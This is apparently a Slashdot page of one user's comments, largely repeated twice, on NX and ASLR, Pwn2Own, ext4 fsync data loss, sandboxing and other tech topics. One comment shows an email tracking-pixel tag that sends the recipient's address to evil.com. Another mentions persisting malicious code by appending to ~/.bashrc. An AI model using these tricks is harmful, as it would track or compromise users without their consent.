The NX bit should have always been there, and the fact that it wasn't is incomprehensibly stupid.
x86 was originally designed with a segmented memory model. You'd have one segment for code, one for data, one for stack. It was (and is) indeed possible to set data and stack segments non-executable. Actually, I believe this is achieved by the simple expedient of all jump instructions automatically using the CS (code segment) register, with no option to use any others -- thus you can't jump to or call the data or stack segments unless they overlap with the code segment.
The problem is, in practice people just set all three segments equal today, so that all of them fill the entire virtual address space. If you do that, everything is in the code segment, and so everything is executable. The addition of a per-page NX bit is a (very belated) acknowledgement of the fact that the old way of doing things just isn't used anymore. (But I think Google uses it for NaCl.)
Actually, Tanenbaum's Modern Operating Systems, 3e has an interesting remark about this (p. 237, emphasis added):
Since each segment forms a logical entity of which the programmer is aware . . . different segments can have different kinds of protection. A procedure segment can be specified as execute only, prohibiting attempts to read from it or store into it. A floating-point array can be specified as read/write but not execute, and attempts to jump to it will be caught. Such protection is helpful in catching programming errors.
You should try to understand why protection is sensible in a a segmented memory model but not in a one-dimensional paged memory. In a segmented memory the user is aware of what is in each segment. Normally, a segment would not contain a procedure and a stack, for example, but only one or the other, not both. Since each segment contains only a single type of object, the segment can have the protection appropriate for that particular type. . . .
The contents of a page are, in a sense, accidental. The programmer is unaware of the fact that paging is even occurring. Although putting a few bits in each entry of the page table to specify the access allowed would be possible, to utilize this feature the programmer would have to keep track of where in his address space the page boundaries were. That is precisely the sort of administration that paging was invented to eliminate. . ..
Of course, he's wrong in a sense: the NX bit is most definitely being used. (And the book is copyright 2008, too, so you'd think he'd know it.) It's an interesting remark anyway, though, and may explain why a per-page NX bit wasn't there in x86 to start with.
MySQL is steadily becoming something resembling a real database (5.0 is good, in particular if you use InnoDB, 4.1 was decent, but anything below 4.1 barely qualifies as a database).
Awesomebar absolutely chugs on my linux box. It will almost lock up the browser while it loads junk out of the database. I'm on a 3ghz cpu w/ 4 gigs of ram and I think that it's unacceptable. I'm using Opera in linux atm just so I dont have to mess with it.
I've heard this is due to problems with poor fsync() implementation on ext3. It will probably work better in Firefox 3.5, or ext4, or ext3 with data=writeback (but don't quote me on any of that).
I'm just your average user, not a developer. Intuitively, when something is saved, especially something like a game save, I EXPECT it to be written to the game's fucking application directory.
Only because you're used to it. If you had been conditioned to only save things to My Documents to start with, this wouldn't be a problem.
The same type of people who don't realize that Windows has *two* CLI environments, one of which is admittedly quite poor (but only intended for backwards compatibility), and one of which is far superior to bash.
I agree with the rest of your post, but is this part really true? Have you used both extensively? I haven't used Windows' new shell at all, only cmd.exe and Unix shells, so I'm curious.
bash has one really good thing going for it: it clones the Bourne shell and so there's a huge body of stuff that automatically works with it. Anyone who ever became familiar with a Unix shell will probably be comfortable with bash pretty quickly. Windows' new shell (PowerShell, is it?) is, predictably, not compatible with Unix shells, so I'd assume you have to learn most things from scratch.
Are there really the same quality and variety of command-line utilities on Windows? All those filters in/usr/bin are really an essential part of how useful Unix shells are.
Really, the test is: does anyone actually use the shell in Windows? How many Windows administrators use any command line? I'd find it difficult to believe that it's very good if no one uses it. The Unix shell was refined over decades, and for a lot of that time it was the primary way of interacting with your computer.
I think you're using a stronger restriction than the GP posited. He said (a) "If you can't explain it to a layman, you don't understand it", while you're responding to (b) "If you can't explain it to a layman in a short amount of time, you don't understand it."
The post that spawned this thread said:
If a layman could understand it, it wouldn't be worth publishing a scholarly paper about it.
If you want to really understand it, you gotta get into the hard stuff. Because it's hard.
So the original claim (which someone disagreed with, whom I disagreed with in turn) was only that serious study would be needed to understand the topic. I believe you agree with that. If you give someone enough background to fully understand an advanced paper in math or theoretical physics, they're no longer really a layman, and I don't think the quote was meant to apply to them.
ASLR is simply making sure core files aren't always loaded into the same address space - making it more convoluted. There are more twists, more hoops, more folds to go through, before you can get to what you want.
Convoluted - adj: Complex, intricate or complicated; Having numerous overlapping coils or folds
So are you saying ASLR is a bad thing? If so, why? If not, why did you use the clearly derogatory terminology "so damned convoluted"?
Anyway, a non-executable stack has nothing to do with being convoluted, and that's also an obstacle that he mentioned.
"Why Safari? Why didn't you go after IE or Safari?
It's really simple. Safari on the Mac is easier to exploit. The things that Windows do to make it harder (for an exploit to work), Macs don't do. Hacking into Macs is so much easier. You don't have to jump through hoops and deal with all the anti-exploit mitigations you'd find in Windows.
It's more about the operating system than the (target) program. Firefox on Mac is pretty easy too. The underlying OS doesnâ(TM)t have anti-exploit stuff built into it."
That's right - Windows is harder to exploit because it's so damned convoluted. Macs are easy prey because they don't have that convolution built-in as a security measure.
Wrong. He gives more details than you quoted:
With my Safari exploit, I put the code into a process and I know exactly where it's going to be. There's no randomization. I know when I jump there, the code is there and I can execute it there. On Windows, the code might show up but I don't know where it is. Even if I get to the code, it's not executable. Those are two hurdles that Macs don't have.
He's saying that Windows uses recognized security techniques like DEP and ASLR, and Mac doesn't. (Linux does use both of those, to varying extents depending on distro and configuration.)
I actually found this bug before last year's Pwn2Own but, at the time, it was harder to exploit. I came to CanSecWest last year with two bugs but only one exploit. Last year, you could only win once so I saved the second bug. Turns out, it was still there this year so I wrote another exploit and used it this year.
So in a way what this event did is help keep a known vulnerability open for a year more than it should have been. Which means that there is a fair chance that in the mean time some body else might have found and used it in the wild.
Brilliant.
Wrong. Read the rest of the link:
Did you consider reporting the vulnerability to Apple?
I never give up free bugs. I have a new campaign. It's called NO MORE FREE BUGS. Vulnerabilities have a market value so it makes no sense to work hard to find a bug, write an exploit and then give it away. Apple pays people to do the same job so we know there's value to this work. No more free bugs.
He wouldn't have given up the bug if not for the contest. He'd have sat on it anyway until he found someone else to pay him for it.
thats why its time for andriod style security on the desktop , firefox should ONLY be able to write to a downloads folder & its profile
So what if the user uses "Save Page As..."? You'd have to have an infrastructure that allows spawning a file picker as a separate app with its own permissions. What if the user customizes the directory for storing the web cache? What if Firefox creates an executable in a prohibited location and then runs it? Etc. Firefox is an awfully big application; it would be hard to pin it down with hard-and-fast rules on what directories it can access.
OO should ONLY be able to read/write to disk, NO network access,.
That's a real impediment. Just write out your malicious script to the user's home directory somewhere, and append some lines to ~/.bashrc or whatever startup files you like.
What's really needed isn't so much restricting what files the program can access, but how it can access them. Bitfrost has a very interesting approach. I haven't looked at Android, but I'd assume it's similar in some ways. You need a fair amount of infrastructure for this to work, though.
Its got to be pretty easy to find exploits when you've got the source in front of you!
A comparison of high-profile, seriously damaging Apache and IIS exploits would seem to indicate the opposite. Code Red and Nimda both caused a lot of damage, and targeted IIS. Any comparable stories for Apache, which has a larger market share than IIS by any figures I've seen?
Or heck, look at Firefox vs. IE. IE has historically been much less secure, although Firefox has had its share of screwups too. (Of course, the closed-source software does have a larger market share in this case. But then, WebKit has a smaller market share than either, so by that logic it should be even more secure.)
Even though it may be easier for malicious people to find vulnerabilities in open-source code, it's also easier for benevolent coders and third-party security auditors to find the exact same vulnerabilities and tell the vendor. This is Linus' law at work: given enough eyeballs, all bugs are shallow. There is no reason to assume a priori that open-source applications will be more vulnerable: only study will show that. And it seems like they're less vulnerable than most closed-source software, if anything.
If you can't explain it to a layman, you don't really understand it.
Are you actually familiar with high-level mathematics or physics? Because that's just not true. I don't care how well you understand the third isomorphism theorem for groups, there is no way to explain its meaning to laymen. You can only resort to either 20-minute crash courses in group theory, or explanations that don't actually explain anything, like:
It's about these things called groups, where you have something called a quotient group, and if G, H, and K are groups, then the quotient group of (the quotient group with G with K) with (the quotient group of H with K) is the same as the quotient group of G with H.
I'm a mathematician, but I'm pretty sure the same is going to be true for some results in advanced theoretical physics. People who think they hear good explanations of this stuff as laymen really just don't understand how inaccurate the explanations are, and how many things are left entirely unexplained.
In addition to that, I'd say that there are plenty of people who understand things well but are very poor at explaining them. Some people just aren't any good at communicating or figuring out the cause of other people's misunderstandings. That doesn't mean they don't understand the subject matter. If you can't even explain it to professional colleagues, then you probably don't understand it.
Both WebKit and Gecko have experimental CSS properties that they safely isolate under a namespace using an obvious prefix. Here are a couple of examples.
x-moz-border-radius-topleft: 7px;
x-webkit-border-top-left-radius: 7px;
They don't have an "x" in front: it's just "-moz-border-radius", etc. The format is "-vendorabbreviation-property-name". So Mozilla uses "-moz", Microsoft uses "-ms", WebKit uses "-webkit" (not "-apple" for some reason), etc.
All CSS implementers do this. It's recommended by the CSS standard for experimental, incomplete, or buggy implementations of official properties. It's also used when the property is not intended to be used in web pages, only internally by browser style sheets.
The bigger problem actually began when I let her have an email account (indeed she owns her own domain). Despite years of experience scanning email for myself and my clients, it was still impossible to keep the occasional attached gif from getting through. Unfortunately these tend to the more disgusting end of the porn spectrum; I would have been less disturbed by her seeing more conventional sexual behaviors. The couple of times this happened she mentioned it to me and said she had deleted the offending message immediately. We had a talk about not opening messages from people you didn't know, but often a graphic will show up in the message preview windows (in Thunderbird in our case) without any active choice by the reader.
Try a different mail client. Gmail never displays any images at all (even if you open the e-mail) without your confirmation. There's an "always allow images from this address" link too.
Not only might auto-displaying images show you stuff you don't want to see, it can also tell the spammers that your address is functional -- just send the spam e-mail to bob@example.com with <img src="http://evil.com/image.jpg?address=bob@example.com"/>. Then list the hits to that image from your server logs and you'll know which addresses viewed your images.
Crappy economy, check.
Industrialization outsourced, check
Poor standard of health, check
Poor standard of education, check
Poor standard of living, heading that way
Poor standard of internet service, double check
Compared to, say, China? India? Africa? Are you kidding? Everyone in America is well-off compared to most of the world's population, even the large majority of people who are unemployed in the worst recession since the Great Depression. That's how rich we are. Americans' pets have better health care than a lot of people in the world do.
Your obsession with unlimited-service-for-fixed-fee contracts in America is quite frankly puzzling. It's like you have to make every part of your capitalistic society and make it into pseudo-communism.
It's never going to be possible to charge people a flat fee for all-you-can-use X without the bulk of the consumers overpaying for their moderate usage of X to subsidise the few who exploit the service. This holds for values of X such as bandwidth, pasta, text messaging, icecream, whatever.
Indeed, flat rates are a recipe for the tragedy of the commons. How much of a bandwidth problem would peer-to-peer protocols cause ISPs if home consumers paid by the bit? Not so much, I suspect.
But people don't like to have to fret about how much of a resource they're using. They'd prefer to pay more and not have to think about it than to pay less and continually think "Okay, now do I want to send one more message if that costs me five cents? I've already spent $X today . .."
I've been on the bad side of this one - a lack of criminal intent does not mitigate or extenuate criminal action. Their guilt is quite plain (having been admitted, even published by the BBC itself). Now, their lack of criminal intent does have a bearing on sentencing. Inasmuch as the BBC did not wilfully cause damage or fiscal loss to anybody (except, potentially, themselves?), the sentence should be something on the light side, perhaps even suspended; but the matter of their guilt is simple black-letter law.
Unless they're not prosecuted. Prosecutors are not obliged to file charges if they don't feel it would be the best use of their limited resources.
After reading the original report I tried to reproduce a simple test for the adobe home page.
I used Firefox 3.0.7 and pre-loaded the adobe home page (as suggested in the report), I closed the tab and opened a new one and reloaded the adobe home page. It loaded in 2 or 3 seconds instead of the 9 seconds in the report.
I am not sure what to make of this report if a simple experiment to reproduce the measurements fails on the first try.
I ran the test on Windows XP Professional SP3.
You can't expect the actual number of seconds to match up. They might just be using poorer-quality hardware, different OS options, heaven knows what. You have to try the comparison yourself: use all three browsers and see if you get similar relative results. (I'm guessing this kind of thing will be hard to reproduce well in any direction.)
Does anyone else think that 150 second is a bit over the top in terms of writing to disk?
I could understand one or two seconds as you speculate more data might come that needs to be written.
5 seconds is a bit iffy, as with ext3.
150 seconds? That's surely a bug.
No, I don't think so at all. If your system doesn't normally crash, and in most cases it doesn't unless you use buggy binary-only drivers, it's not a significant risk. Losing 2.5 minutes of non-critical data once every couple of years, say, isn't a big deal. Good file editors, databases, and so on all use f*sync(), so you won't lose data from them.
The problem is when you not only lose a few minutes of changes, but critical old data too (like an entire preferences file). That's what this bug is about.
Point being, if such things are really a problem for the application, the application must do things correctly, by writing to temporary files, renaming, and writing in the right sequence so that even if something is interrupted in the middle the data on disk still makes sense.
RTFA -- that is exactly what programs are doing, and it's still considered broken. ext4 reorders the operations so that the new file's contents can be written to disk after the rename is. That means that there's an interval where the new, empty file has overwritten the old file's contents, before the new file's contents are written. This issue causes loss of old data, not just recent changes.According to Ted Ts'o, this sequence of operations is buggy:
2.a) open and read file ~/.kde/foo/bar/baz
2.b) fd = open("~/.kde/foo/bar/baz.new", O_WRONLY|O_TRUNC|O_CREAT)
2.c) write(fd, buf-of-new-contents-of-file, size-of-new-contents-of-file)
2.d) close(fd)
2.e) rename("~/.kde/foo/bar/baz.new", "~/.kde/foo/bar/baz")
The correct solution, according to him, is to use fsync() if you don't want the old file to possibly be truncated on filesystem crash. But this leaves no option I can see for programs that want to say "I don't really care if the data gets to disk safely, just make sure you don't overwrite the old file until it does."
That's an improvement, but it can be made even safer by skipping the delete step. Once the new file is created just rename it on top of the original. The rename system call guarantees that at any point in time the name will refer to either the old or the new file. I'm not sure you really need the sync step. I haven't read the spec in that kind of detail, but if that sync step is really necessary I'd call that a design flaw. The file system may delay the write of the file as well as the rename, but it shouldn't perform the rename until the file has actually been written.
That is exactly the problem. People who are saying that the issue is just longer times before sync have not RTFA. The problem is that applications that are just trying to update files can completely delete them. It is not just recent changes that are lost.Quoting Ted Ts'o:
OK, so let me explain what's going on a bit more explicitly. There are application programmers who are rewriting application files like this:
1.a) open and read file ~/.kde/foo/bar/baz
1.b) fd = open("~/.kde/foo/bar/baz", O_WRONLY|O_TRUNC|O_CREAT) --- this truncates the file
1.c) write(fd, buf-of-new-contents-of-file, size-of-new-contents-of-file)
1.d) close(fd)
Slightly more sophisticated application writers will do this:
2.a) open and read file ~/.kde/foo/bar/baz
2.b) fd = open("~/.kde/foo/bar/baz.new", O_WRONLY|O_TRUNC|O_CREAT)
2.c) write(fd, buf-of-new-contents-of-file, size-of-new-contents-of-file)
2.d) close(fd)
2.e) rename("~/.kde/foo/bar/baz.new", "~/.kde/foo/bar/baz")
...
The fact that series (1) and (2) works at all is an accident....
Is that clear? The file system is not "truncating" files. The application is truncating the files, or is constantly overwriting the files using the rename system call....
In other words, the application (in scenario 2) is copying the file, changing the copy, and renaming only after it writes the changes. But POSIX doesn't guarantee that the filesystem calls will be written to disk in order in the event of a crash. ext4 does not write them to disk in order: it writes the rename first and only then the new file's contents. So if the system crashes in between, the file will be truncated.
This is much like ext3's behavior in the data=writeback mode; the default mode for ext3 is data=ordered, which ensures that operations like these are properly ordered (at some performance cost). You can emulate this with ext4 by using nodelalloc, but you'll lose most of the performance advantage.
All of this is worked around in some patches that are queued for 2.6.30:
These basically add a forced fsync() at some point in the process in some common cases.
As for this not being a filesystem bug . . . in the event of a crash, POSIX makes no guarantees at all unless you've fsync()ed. A filesystem that deletes things at random on crash would be POSIX-compliant. That doesn't mean that it's not buggy.
I strongly encourage everyone to read the comments in
Slashdot Mirror
The NX bit should have always been there, and the fact that it wasn't is incomprehensibly stupid.
x86 was originally designed with a segmented memory model. You'd have one segment for code, one for data, one for stack. It was (and is) indeed possible to set data and stack segments non-executable. Actually, I believe this is achieved by the simple expedient of all jump instructions automatically using the CS (code segment) register, with no option to use any others -- thus you can't jump to or call the data or stack segments unless they overlap with the code segment.
The problem is, in practice people just set all three segments equal today, so that all of them fill the entire virtual address space. If you do that, everything is in the code segment, and so everything is executable. The addition of a per-page NX bit is a (very belated) acknowledgement of the fact that the old way of doing things just isn't used anymore. (But I think Google uses it for NaCl.)
Actually, Tanenbaum's Modern Operating Systems, 3e has an interesting remark about this (p. 237, emphasis added):
Of course, he's wrong in a sense: the NX bit is most definitely being used. (And the book is copyright 2008, too, so you'd think he'd know it.) It's an interesting remark anyway, though, and may explain why a per-page NX bit wasn't there in x86 to start with.
MySQL is steadily becoming something resembling a real database (5.0 is good, in particular if you use InnoDB, 4.1 was decent, but anything below 4.1 barely qualifies as a database).
4.0 works fine for Wikipedia.
Awesomebar absolutely chugs on my linux box. It will almost lock up the browser while it loads junk out of the database. I'm on a 3ghz cpu w/ 4 gigs of ram and I think that it's unacceptable. I'm using Opera in linux atm just so I dont have to mess with it.
I've heard this is due to problems with poor fsync() implementation on ext3. It will probably work better in Firefox 3.5, or ext4, or ext3 with data=writeback (but don't quote me on any of that).
I'm just your average user, not a developer. Intuitively, when something is saved, especially something like a game save, I EXPECT it to be written to the game's fucking application directory.
Only because you're used to it. If you had been conditioned to only save things to My Documents to start with, this wouldn't be a problem.
The same type of people who don't realize that Windows has *two* CLI environments, one of which is admittedly quite poor (but only intended for backwards compatibility), and one of which is far superior to bash.
I agree with the rest of your post, but is this part really true? Have you used both extensively? I haven't used Windows' new shell at all, only cmd.exe and Unix shells, so I'm curious.
bash has one really good thing going for it: it clones the Bourne shell and so there's a huge body of stuff that automatically works with it. Anyone who ever became familiar with a Unix shell will probably be comfortable with bash pretty quickly. Windows' new shell (PowerShell, is it?) is, predictably, not compatible with Unix shells, so I'd assume you have to learn most things from scratch.
Are there really the same quality and variety of command-line utilities on Windows? All those filters in /usr/bin are really an essential part of how useful Unix shells are.
Really, the test is: does anyone actually use the shell in Windows? How many Windows administrators use any command line? I'd find it difficult to believe that it's very good if no one uses it. The Unix shell was refined over decades, and for a lot of that time it was the primary way of interacting with your computer.
I think you're using a stronger restriction than the GP posited. He said (a) "If you can't explain it to a layman, you don't understand it", while you're responding to (b) "If you can't explain it to a layman in a short amount of time, you don't understand it."
The post that spawned this thread said:
If a layman could understand it, it wouldn't be worth publishing a scholarly paper about it.
If you want to really understand it, you gotta get into the hard stuff. Because it's hard.
So the original claim (which someone disagreed with, whom I disagreed with in turn) was only that serious study would be needed to understand the topic. I believe you agree with that. If you give someone enough background to fully understand an advanced paper in math or theoretical physics, they're no longer really a layman, and I don't think the quote was meant to apply to them.
ASLR is simply making sure core files aren't always loaded into the same address space - making it more convoluted. There are more twists, more hoops, more folds to go through, before you can get to what you want.
Convoluted - adj: Complex, intricate or complicated; Having numerous overlapping coils or folds
So are you saying ASLR is a bad thing? If so, why? If not, why did you use the clearly derogatory terminology "so damned convoluted"?
Anyway, a non-executable stack has nothing to do with being convoluted, and that's also an obstacle that he mentioned.
Straight from the horse's mouth:
"Why Safari? Why didn't you go after IE or Safari?
It's really simple. Safari on the Mac is easier to exploit. The things that Windows do to make it harder (for an exploit to work), Macs don't do. Hacking into Macs is so much easier. You don't have to jump through hoops and deal with all the anti-exploit mitigations you'd find in Windows.
It's more about the operating system than the (target) program. Firefox on Mac is pretty easy too. The underlying OS doesnâ(TM)t have anti-exploit stuff built into it."
That's right - Windows is harder to exploit because it's so damned convoluted. Macs are easy prey because they don't have that convolution built-in as a security measure.
Wrong. He gives more details than you quoted:
He's saying that Windows uses recognized security techniques like DEP and ASLR, and Mac doesn't. (Linux does use both of those, to varying extents depending on distro and configuration.)
That's exactly what happened this year:
I actually found this bug before last year's Pwn2Own but, at the time, it was harder to exploit. I came to CanSecWest last year with two bugs but only one exploit. Last year, you could only win once so I saved the second bug. Turns out, it was still there this year so I wrote another exploit and used it this year.
So in a way what this event did is help keep a known vulnerability open for a year more than it should have been. Which means that there is a fair chance that in the mean time some body else might have found and used it in the wild.
Brilliant.
Wrong. Read the rest of the link:
He wouldn't have given up the bug if not for the contest. He'd have sat on it anyway until he found someone else to pay him for it.
thats why its time for andriod style security on the desktop , firefox should ONLY be able to write to a downloads folder & its profile
So what if the user uses "Save Page As..."? You'd have to have an infrastructure that allows spawning a file picker as a separate app with its own permissions. What if the user customizes the directory for storing the web cache? What if Firefox creates an executable in a prohibited location and then runs it? Etc. Firefox is an awfully big application; it would be hard to pin it down with hard-and-fast rules on what directories it can access.
OO should ONLY be able to read/write to disk, NO network access,.
That's a real impediment. Just write out your malicious script to the user's home directory somewhere, and append some lines to ~/.bashrc or whatever startup files you like.
What's really needed isn't so much restricting what files the program can access, but how it can access them. Bitfrost has a very interesting approach. I haven't looked at Android, but I'd assume it's similar in some ways. You need a fair amount of infrastructure for this to work, though.
What is owned? - code execution within context of application
Does this mean that you win if you execute code in a sandboxed application, even if that means you can't actually harm the user at all?
Its got to be pretty easy to find exploits when you've got the source in front of you!
A comparison of high-profile, seriously damaging Apache and IIS exploits would seem to indicate the opposite. Code Red and Nimda both caused a lot of damage, and targeted IIS. Any comparable stories for Apache, which has a larger market share than IIS by any figures I've seen?
Or heck, look at Firefox vs. IE. IE has historically been much less secure, although Firefox has had its share of screwups too. (Of course, the closed-source software does have a larger market share in this case. But then, WebKit has a smaller market share than either, so by that logic it should be even more secure.)
Even though it may be easier for malicious people to find vulnerabilities in open-source code, it's also easier for benevolent coders and third-party security auditors to find the exact same vulnerabilities and tell the vendor. This is Linus' law at work: given enough eyeballs, all bugs are shallow. There is no reason to assume a priori that open-source applications will be more vulnerable: only study will show that. And it seems like they're less vulnerable than most closed-source software, if anything.
If you can't explain it to a layman, you don't really understand it.
Are you actually familiar with high-level mathematics or physics? Because that's just not true. I don't care how well you understand the third isomorphism theorem for groups, there is no way to explain its meaning to laymen. You can only resort to either 20-minute crash courses in group theory, or explanations that don't actually explain anything, like:
I'm a mathematician, but I'm pretty sure the same is going to be true for some results in advanced theoretical physics. People who think they hear good explanations of this stuff as laymen really just don't understand how inaccurate the explanations are, and how many things are left entirely unexplained.
In addition to that, I'd say that there are plenty of people who understand things well but are very poor at explaining them. Some people just aren't any good at communicating or figuring out the cause of other people's misunderstandings. That doesn't mean they don't understand the subject matter. If you can't even explain it to professional colleagues, then you probably don't understand it.
Why does everyone keep capitalizing all the letters in Git? It's not an acronym. Doing this just makes you look silly.
Like a git, you mean?
Both WebKit and Gecko have experimental CSS properties that they safely isolate under a namespace using an obvious prefix. Here are a couple of examples. x-moz-border-radius-topleft: 7px; x-webkit-border-top-left-radius: 7px;
They don't have an "x" in front: it's just "-moz-border-radius", etc. The format is "-vendorabbreviation-property-name". So Mozilla uses "-moz", Microsoft uses "-ms", WebKit uses "-webkit" (not "-apple" for some reason), etc.
All CSS implementers do this. It's recommended by the CSS standard for experimental, incomplete, or buggy implementations of official properties. It's also used when the property is not intended to be used in web pages, only internally by browser style sheets.
You're assuming that the rootkit isn't loaded before the bios tries booting off the CD.
So reset the BIOS.
The bigger problem actually began when I let her have an email account (indeed she owns her own domain). Despite years of experience scanning email for myself and my clients, it was still impossible to keep the occasional attached gif from getting through. Unfortunately these tend to the more disgusting end of the porn spectrum; I would have been less disturbed by her seeing more conventional sexual behaviors. The couple of times this happened she mentioned it to me and said she had deleted the offending message immediately. We had a talk about not opening messages from people you didn't know, but often a graphic will show up in the message preview windows (in Thunderbird in our case) without any active choice by the reader.
Try a different mail client. Gmail never displays any images at all (even if you open the e-mail) without your confirmation. There's an "always allow images from this address" link too.
Not only might auto-displaying images show you stuff you don't want to see, it can also tell the spammers that your address is functional -- just send the spam e-mail to bob@example.com with <img src="http://evil.com/image.jpg?address=bob@example.com" />. Then list the hits to that image from your server logs and you'll know which addresses viewed your images.
Crappy economy, check.
Industrialization outsourced, check
Poor standard of health, check
Poor standard of education, check
Poor standard of living, heading that way
Poor standard of internet service, double check
Compared to, say, China? India? Africa? Are you kidding? Everyone in America is well-off compared to most of the world's population, even the large majority of people who are unemployed in the worst recession since the Great Depression. That's how rich we are. Americans' pets have better health care than a lot of people in the world do.
Your obsession with unlimited-service-for-fixed-fee contracts in America is quite frankly puzzling. It's like you have to make every part of your capitalistic society and make it into pseudo-communism.
It's never going to be possible to charge people a flat fee for all-you-can-use X without the bulk of the consumers overpaying for their moderate usage of X to subsidise the few who exploit the service. This holds for values of X such as bandwidth, pasta, text messaging, icecream, whatever.
Indeed, flat rates are a recipe for the tragedy of the commons. How much of a bandwidth problem would peer-to-peer protocols cause ISPs if home consumers paid by the bit? Not so much, I suspect.
But people don't like to have to fret about how much of a resource they're using. They'd prefer to pay more and not have to think about it than to pay less and continually think "Okay, now do I want to send one more message if that costs me five cents? I've already spent $X today . . ."
I've been on the bad side of this one - a lack of criminal intent does not mitigate or extenuate criminal action. Their guilt is quite plain (having been admitted, even published by the BBC itself). Now, their lack of criminal intent does have a bearing on sentencing. Inasmuch as the BBC did not wilfully cause damage or fiscal loss to anybody (except, potentially, themselves?), the sentence should be something on the light side, perhaps even suspended; but the matter of their guilt is simple black-letter law.
Unless they're not prosecuted. Prosecutors are not obliged to file charges if they don't feel it would be the best use of their limited resources.
After reading the original report I tried to reproduce a simple test for the adobe home page. I used Firefox 3.0.7 and pre-loaded the adobe home page (as suggested in the report), I closed the tab and opened a new one and reloaded the adobe home page. It loaded in 2 or 3 seconds instead of the 9 seconds in the report. I am not sure what to make of this report if a simple experiment to reproduce the measurements fails on the first try. I ran the test on Windows XP Professional SP3.
You can't expect the actual number of seconds to match up. They might just be using poorer-quality hardware, different OS options, heaven knows what. You have to try the comparison yourself: use all three browsers and see if you get similar relative results. (I'm guessing this kind of thing will be hard to reproduce well in any direction.)
are the benchmarks done on OS X, linux & Windows?
I didn't RTFA, but it would be fair to run all applications on different platforms and see if it makes a difference. I bet they didn't do that.
I strongly suspect that on Mac and Linux, Firefox would handily beat both IE and Chrome for speed. And most other features, too.
Does anyone else think that 150 second is a bit over the top in terms of writing to disk?
I could understand one or two seconds as you speculate more data might come that needs to be written.
5 seconds is a bit iffy, as with ext3.
150 seconds? That's surely a bug.
No, I don't think so at all. If your system doesn't normally crash, and in most cases it doesn't unless you use buggy binary-only drivers, it's not a significant risk. Losing 2.5 minutes of non-critical data once every couple of years, say, isn't a big deal. Good file editors, databases, and so on all use f*sync(), so you won't lose data from them.
The problem is when you not only lose a few minutes of changes, but critical old data too (like an entire preferences file). That's what this bug is about.
Point being, if such things are really a problem for the application, the application must do things correctly, by writing to temporary files, renaming, and writing in the right sequence so that even if something is interrupted in the middle the data on disk still makes sense.
RTFA -- that is exactly what programs are doing, and it's still considered broken. ext4 reorders the operations so that the new file's contents can be written to disk after the rename is. That means that there's an interval where the new, empty file has overwritten the old file's contents, before the new file's contents are written. This issue causes loss of old data, not just recent changes. According to Ted Ts'o, this sequence of operations is buggy:
2.a) open and read file ~/.kde/foo/bar/baz
2.b) fd = open("~/.kde/foo/bar/baz.new", O_WRONLY|O_TRUNC|O_CREAT)
2.c) write(fd, buf-of-new-contents-of-file, size-of-new-contents-of-file)
2.d) close(fd)
2.e) rename("~/.kde/foo/bar/baz.new", "~/.kde/foo/bar/baz")
The correct solution, according to him, is to use fsync() if you don't want the old file to possibly be truncated on filesystem crash. But this leaves no option I can see for programs that want to say "I don't really care if the data gets to disk safely, just make sure you don't overwrite the old file until it does."
That's an improvement, but it can be made even safer by skipping the delete step. Once the new file is created just rename it on top of the original. The rename system call guarantees that at any point in time the name will refer to either the old or the new file. I'm not sure you really need the sync step. I haven't read the spec in that kind of detail, but if that sync step is really necessary I'd call that a design flaw. The file system may delay the write of the file as well as the rename, but it shouldn't perform the rename until the file has actually been written.
That is exactly the problem. People who are saying that the issue is just longer times before sync have not RTFA. The problem is that applications that are just trying to update files can completely delete them. It is not just recent changes that are lost. Quoting Ted Ts'o:
In other words, the application (in scenario 2) is copying the file, changing the copy, and renaming only after it writes the changes. But POSIX doesn't guarantee that the filesystem calls will be written to disk in order in the event of a crash. ext4 does not write them to disk in order: it writes the rename first and only then the new file's contents. So if the system crashes in between, the file will be truncated.
This is much like ext3's behavior in the data=writeback mode; the default mode for ext3 is data=ordered, which ensures that operations like these are properly ordered (at some performance cost). You can emulate this with ext4 by using nodelalloc, but you'll lose most of the performance advantage.
All of this is worked around in some patches that are queued for 2.6.30:
http://git.kernel.org/?p=linux/kernel/git/tytso/ext4.git;a=commitdiff;h=3bf3342f394d72ed2ec7e77b5b39e1b50fad8284
http://git.kernel.org/?p=linux/kernel/git/tytso/ext4.git;a=commitdiff;h=6645f8c3bc3cdaa7de4aaa3d34d40c2e8e5f09ae
http://git.kernel.org/?p=linux/kernel/git/tytso/ext4.git;a=commitdiff;h=dbc85aa9f11d8c13c15527d43a3def8d7beffdc8
These basically add a forced fsync() at some point in the process in some common cases.
As for this not being a filesystem bug . . . in the event of a crash, POSIX makes no guarantees at all unless you've fsync()ed. A filesystem that deletes things at random on crash would be POSIX-compliant. That doesn't mean that it's not buggy.
I strongly encourage everyone to read the comments in